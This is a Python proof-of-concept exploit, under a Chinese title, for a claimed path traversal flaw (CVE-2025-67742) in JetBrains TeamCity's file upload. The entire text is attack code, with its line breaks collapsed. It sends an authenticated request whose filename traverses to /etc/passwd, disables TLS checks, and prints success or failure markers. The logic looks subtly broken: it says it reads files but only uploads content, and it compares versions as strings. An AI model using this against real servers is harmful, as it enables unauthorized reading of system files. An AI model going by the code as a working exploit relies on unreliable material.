CVE-2025-67742 JetBrains TeamCity 文件上传路径遍历漏洞

# CVE-2025-67742 PoC - JetBrains TeamCity Path Traversal via File Upload # This PoC demonstrates how an authenticated attacker can exploit path traversal # vulnerability in TeamCity's file upload functionality import requests import os TARGET_URL = "https://teamcity-server.com" AUTH_TOKEN = "your-authentication-token" def exploit_path_traversal(): """ Exploit path traversal vulnerability in TeamCity file upload to read arbitrary files from the server """ # Target file to read via path traversal target_file = "../../../../../../etc/passwd" # Construct the malicious upload request upload_url = f"{TARGET_URL}/app/rest/builds" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/octet-stream" } # The path traversal payload is embedded in the filename # This exploits the lack of proper path validation in TeamCity params = { "fileName": target_file, "comment": "Path traversal exploit via file upload" } # Malicious file content malicious_content = b"test content" try: # Send the exploit request response = requests.post( upload_url, headers=headers, params=params, data=malicious_content, verify=False, timeout=30 ) print(f"[*] Request sent to {upload_url}") print(f"[*] Target file: {target_file}") print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Exploit likely successful - file operation completed") print(f"[*] Response: {response.text[:500]}") else: print(f"[-] Exploit failed with status {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def check_vulnerability(): """ Check if target TeamCity instance is vulnerable """ version_url = f"{TARGET_URL}/app/rest/serverVersion" try: response = requests.get( version_url, headers={"Authorization": f"Bearer {AUTH_TOKEN}"}, verify=False, timeout=10 ) if response.status_code == 200: version = response.text.strip() print(f"[*] TeamCity version: {version}") # Check if version is before 2025.11 if version < "2025.11": print("[!] Target is potentially vulnerable") return True else: print("[*] Target version is patched") return False except Exception as e: print(f"[-] Version check failed: {e}") return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-67742 - TeamCity Path Traversal PoC") print("=" * 60) # First check if vulnerable is_vulnerable = check_vulnerability() if is_vulnerable: print("\n[*] Proceeding with exploitation...") exploit_path_traversal() else: print("\n[*] Target does not appear vulnerable or is patched")